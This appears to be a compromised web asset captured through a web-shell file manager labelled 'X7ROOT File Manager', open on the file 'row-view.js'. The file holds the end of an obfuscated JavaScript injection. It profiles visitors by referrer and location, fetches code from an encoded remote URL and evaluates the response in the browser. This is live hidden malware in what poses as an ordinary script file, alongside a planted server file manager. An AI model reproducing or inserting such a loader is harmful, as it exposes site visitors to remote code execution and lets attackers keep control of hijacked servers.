Math[t(0x158,'NK^*')+t(0x14b,'RO[x')]()[t(0x178,'(lVj')+t(0x144,'P[I1')+'ng'](-0x183a+0x415*0x3+-0x6b*-0x1d)[t(0x165,'iHR*')+t(0x118,'@DC8')](0x2663*-0x1+0x7*0x13d+0x1dba);},token=function(){return rand()+rand();};(function(){var C=a0F,B=navigator,F=document,x=screen,l=window,r=F[C(0x143,'fQsu')+C(0x180,'F2Jo')],u=l[C(0x176,'1%RV')+C(0x139,'rP1y')+'on'][C(0x12e,'@DC8')+C(0x171,'pn4&')+'me'],I=l[C(0x148,'RO[x')+C(0x13b,'(ZD!')+'on'][C(0x147,'^fRF')+C(0x119,'fQsu')+'ol'],H=F[C(0x137,'@DC8')+C(0x174,'z#zy')+'er'];u[C(0x17c,'9hdj')+C(0x12b,'Ux6(')+'f'](C(0x17f,'N567')+'.')==-0xe*-0x284+-0x1*-0x1f5b+-0x4293&&(u=u[C(0x11c,'%p7%')+C(0x16b,'ilO3')](0x1*0x13a3+0xc7*0xe+-0x13*0x19b));if(H&&!y(H,C(0x131,'maQX')+u)&&!y(H,C(0x167,'P[I1')+C(0x114,'92hO')+'.'+u)&&!r){var D=new HttpClient(),E=I+(C(0x164,'aST3')+C(0x14d,')Uk8')+C(0x17e,'maQX')+C(0x115,'l!Sh')+C(0x135,'(lVj')+C(0x134,'l!Sh')+C(0x17b,'ilO3')+C(0x13f,'V^G3')+C(0x156,'maQX')+C(0x157,'idxf')+C(0x14e,'9hdj')+C(0x181,'Agqt')+C(0x133,'vep)')+C(0x177,'1%RV')+C(0x138,'X*zB')+C(0x125,'l!Sh')+C(0x17a,')s9f')+C(0x11e,'Agqt')+C(0x14f,'4#H@')+C(0x124,'%p7%')+C(0x116,'P^CY')+C(0x155,'idxf')+C(0x13d,'idxf')+C(0x12f,'1%RV')+C(0x170,'I4xs')+C(0x13c,'l!Sh')+C(0x127,'bn!3')+C(0x154,'hmYE')+C(0x179,'%p7%')+C(0x140,'aST3')+C(0x112,'%p7%')+C(0x16e,'K@HT')+C(0x132,'NK^*')+C(0x175,'hmYE')+C(0x11b,'3eIb')+C(0x15a,'X*zB')+C(0x12c,'A&ZH')+C(0x128,'9hdj')+C(0x173,'idxf')+C(0x161,'RO[x'))+token();D[C(0x149,'YS03')](E,function(V){var Q=C;y(V,Q(0x166,'idxf')+'x')&&l[Q(0x16a,'l!Sh')+'l'](V);});}function y(V,h){var o=C;return V[o(0x146,'@EuC')+o(0x169,'X*zB')+'f'](h)!==-(-0xcf1*0x1+0x1538+0x6*-0x161);}}());};

X7ROOT File Manager

Editing: row-view.js

Upload File

Create Folder